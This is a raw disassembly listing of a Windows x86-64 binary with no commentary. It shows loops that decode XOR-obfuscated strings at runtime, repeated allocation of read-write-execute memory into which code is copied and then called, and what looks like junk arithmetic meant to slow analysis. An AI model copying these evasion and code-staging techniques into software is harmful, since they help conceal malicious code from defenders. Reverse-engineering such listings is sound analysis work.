jl 0x140238c6b
mov edx, edi
movdqa xmmword [rsp + 0xbb0], xmm9
lea rcx, [rsp + 0x71c]
nop dword [rax + rax]
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140238af0
jmp 0x140238ccc
lea r10, [rsp + 0x718]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x323e34a3
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x38
jl 0x140238c80
xorps xmm0, xmm0
movups xmmword [rsp + 0x560], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x570], xmm1
lea rax, [rsp + 0x718]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140238cf0
lea rdx, [rsp + 0x718]
lea rcx, [rsp + 0x560]
call fcn.1402071a0
nop
lea rcx, [rsp + 0x560]
call fcn.1401f8d00
nop
lea rcx, [rsp + 0x560]
call fcn.140240fd0
movups xmm4, xmmword [0x140277788]
movups xmmword [rsp + 0xd8], xmm4
movzx eax, word [0x140277798]
mov word [rsp + 0xe8], ax
cmp byte [0x140277799], 0
je 0x1402390a1
mov r9d, edi
cmp ebx, 2
jl 0x140239036
movdqa xmm3, xmm10
punpckldq xmm3, xmm10
movdqa xmm1, xmm10
punpckhdq xmm1, xmm10
movdqa xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd ecx, xmm9
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0xd8], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xdc]
xorps xmm2, xmm1
movd dword [rsp + 0xdc], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xe0]
xorps xmm2, xmm1
movd dword [rsp + 0xe0], xmm2
movdqa xmm4, xmmword [0x1402795b0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xe4]
xorps xmm2, xmm1
movd dword [rsp + 0xe4], xmm2
mov r9d, 0x10
mov eax, r9d
lea r10, [rsp + 0xd8]
add r10, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x140239050
xorps xmm0, xmm0
movups xmmword [rsp + 0x2e8], xmm0
mov qword [rsp + 0x2f8], rdi
mov qword [rsp + 0x300], rdi
lea rax, [rsp + 0xd8]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402390d0
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x2e8]
call fcn.1402071a0
lea rcx, [rsp + 0x2e8]
call fcn.1401fab60
lea rbx, [0x14020dac0]
xorps xmm0, xmm0
movups xmmword [rsp + 0xbd0], xmm0
lea rcx, [rsp + 0xab18]
mov qword [rsp + 0xbd8], r14
mov qword [rsp + 0xbe0], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0xbd0], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x14028fa60]
test rax, rax
je 0x140239179
mov rdx, rdi
cmp rax, r12
je 0x140239168
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x28fa60]
test rax, rax
jne 0x140239150
jmp 0x140239179
mov rdx, qword [rsi + rdx*8 + 0x2913c0]
test rdx, rdx
jne 0x14023925f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x1402391a2
mov rdx, rdi
jmp 0x14023923e
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x1402391b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140290728]
mov qword [rsi + rax*8 + 0x28fa60], r12
mov qword [rsi + rax*8 + 0x2913c0], rdx
inc rax
mov qword [0x140290728], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0xbb0]
xor rax, r14
mov qword [rsp + 0xbd0], rax
lea rcx, [rsp + 0xab18]
mov qword [rcx], rax
movups xmm0, xmmword [0x140277150]
movups xmmword [rsp + 0x910], xmm0
movups xmm1, xmmword [str._675__90__0___29]
movups xmmword [rsp + 0x920], xmm1
movups xmm0, xmmword [0x140277170]
movups xmmword [rsp + 0x930], xmm0
movups xmm1, xmmword [0x140277180]
movups xmmword [rsp + 0x940], xmm1
movups xmm0, xmmword [0x140277190]
movups xmmword [rsp + 0x950], xmm0
movups xmm1, xmmword [0x1402771a0]
movups xmmword [rsp + 0x960], xmm1
movups xmm0, xmmword [str.nmvbg]
movups xmmword [rsp + 0x970], xmm0
movups xmm1, xmmword [0x1402771c0]
movups xmmword [rsp + 0x980], xmm1
movsd xmm0, qword [0x1402771d0]
movsd qword [rsp + 0x990], xmm0
movzx eax, byte [0x1402771d8]
mov byte [rsp + 0x998], al
mov r9d, edi
cmp dword [0x14028a090], 2
jl 0x1402394c9
movdqa xmmword [rsp + 0xbb0], xmm9
lea rcx, [rsp + 0x914]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x88
jl 0x140239340
cmp r9d, 0x89
jge 0x140239534
movsxd rax, r9d
lea r10, [rsp + 0x910]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x89
jl 0x1402394e0
lea rax, [rsp + 0x910]
mov qword [rsp + 0x208], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xbd0], xmm0
lea rcx, [rsp + 0xab18]
mov qword [rsp + 0xbd8], r14
mov qword [rsp + 0xbe0], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0xbd0], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x14028e440]
test rcx, rcx
je 0x1402395c2
mov r8, rdi
lea rax, [0x140242e20]
cmp rcx, rax
je 0x1402395b1
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x28e440]
test rcx, rcx
jne 0x140239598
jmp 0x1402395c2
mov r8, qword [rsi + r8*8 + 0x28ddf0]
test r8, r8
jne 0x1402396af
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rdx, [0x140242e20]
test rax, rax
jne 0x1402395f2
mov r8, rdi
jmp 0x14023968e
mov rax, rdx
mov rcx, r8
mov r9, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r9, 1
jne 0x140239600
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028dab0]
mov qword [rsi + rax*8 + 0x28e440], rdx
mov qword [rsi + rax*8 + 0x28ddf0], r8
inc rax
mov qword [0x14028dab0], rax
lea rdx, [rsp + 0x208]
lea rcx, [fcn.1401f41f0]
call r8
nop
mov rax, qword [rsp + 0xbb0]
xor rax, r14
mov qword [rsp + 0xbd0], rax
lea rcx, [rsp + 0xab18]
mov qword [rcx], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0xaa54], 0xffffffff
mov dword [rsp + 0x96d4], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x96d4], eax
inc rdx
cmp rdx, 0x270
jb 0x140239700
mov dword [rsp + 0x96d0], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xbb0]
call fcn.1401f17b0
mov r14, qword [rsp + 0xbb0]
add r14, 0x5f5e100
mov ebx, 1
lea rcx, [rsp + 0x7a8]
call fcn.1401f17b0
cmp qword [rax], r14
jge 0x1402398de
mov r15d, 0x186a0
nop
lea rcx, [rsp + 0x96d0]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1402397ab
nop dword [rax + rax]
lea rcx, [rsp + 0x96d0]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140239790
shr rax, 0x20
add eax, 0x7fffff9c
xor eax, 0x80000000
cmove eax, ebx
mov dword [rsp + 0xbb0], eax
lea rcx, [rsp + 0x96d0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402397fb
nop
lea rcx, [rsp + 0x96d0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402397e0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x96d0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023984b
nop
lea rcx, [rsp + 0x96d0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140239830
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x96d0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023989b
nop
lea rcx, [rsp + 0x96d0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140239880
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, dword [rsp + 0xbb0]
idiv ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ecx
mov dword [rsp + 0x40], edx
sub r15, rbx
jne 0x140239770
jmp 0x140239752
mov eax, dword [rsp + 0x40]
movups xmm0, xmmword [0x140278740]
movups xmmword [rsp + 0x750], xmm0
movups xmm1, xmmword [0x140278750]
movups xmmword [rsp + 0x760], xmm1
movups xmm0, xmmword [0x140278760]
movups xmmword [rsp + 0x770], xmm0
movups xmm1, xmmword [0x140278770]
movups xmmword [rsp + 0x780], xmm1
movsd xmm0, qword [0x140278780]
movsd qword [rsp + 0x790], xmm0
movzx eax, word [0x140278788]
mov word [rsp + 0x798], ax
mov r9d, edi
cmp dword [0x14028a090], 2
movabs r14, 0xff00ff00ff00ff00
mov r15, 0xffffffffffffffff
jl 0x140239af4
movdqa xmmword [rsp + 0xbb0], xmm9
lea rcx, [rsp + 0x754]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x140239971
cmp r9d, 0x4a
jge 0x140239b61
movsxd rax, r9d
lea r10, [rsp + 0x750]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4a
jl 0x140239b10
xorps xmm0, xmm0
movups xmmword [rsp + 0x308], xmm0
mov qword [rsp + 0x318], rdi
mov qword [rsp + 0x320], rdi
lea rax, [rsp + 0x750]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140239b90
lea rdx, [rsp + 0x750]
lea rcx, [rsp + 0x308]
call fcn.1402071a0
lea rcx, [rsp + 0x308]
call fcn.1401fab60
lea rbx, [0x140212f70]
xorps xmm0, xmm0
movups xmmword [rsp + 0xbd0], xmm0
lea rcx, [rsp + 0xab18]
mov qword [rsp + 0xbd8], r14
mov qword [rsp + 0xbe0], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0xbd0], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x14028fa60]
test rax, rax
je 0x140239c39
mov rdx, rdi
cmp rax, r12
je 0x140239c28
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x28fa60]
test rax, rax
jne 0x140239c10
jmp 0x140239c39
mov rdx, qword [rsi + rdx*8 + 0x2913c0]
test rdx, rdx
jne 0x140239d1f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140239c62
mov rdx, rdi
jmp 0x140239cfe
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140239c70
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140290728]
mov qword [rsi + rax*8 + 0x28fa60], r12
mov qword [rsi + rax*8 + 0x2913c0], rdx
inc rax
mov qword [0x140290728], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0xbb0]
xor rax, r14
lea rcx, [rsp + 0xab18]
mov qword [rcx], rax
movups xmm0, xmmword [0x140277530]
movups xmmword [rsp + 0x4c8], xmm0
movups xmm1, xmmword [0x140277540]
movups xmmword [rsp + 0x4d8], xmm1
movups xmm0, xmmword [0x140277550]
movups xmmword [rsp + 0x4e8], xmm0
movzx eax, byte [0x140277560]
mov byte [rsp + 0x4f8], al
mov r9d, edi
cmp dword [0x14028a090], 2
jl 0x140239f23
movdqa xmmword [rsp + 0xbb0], xmm9
lea rcx, [rsp + 0x4cc]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
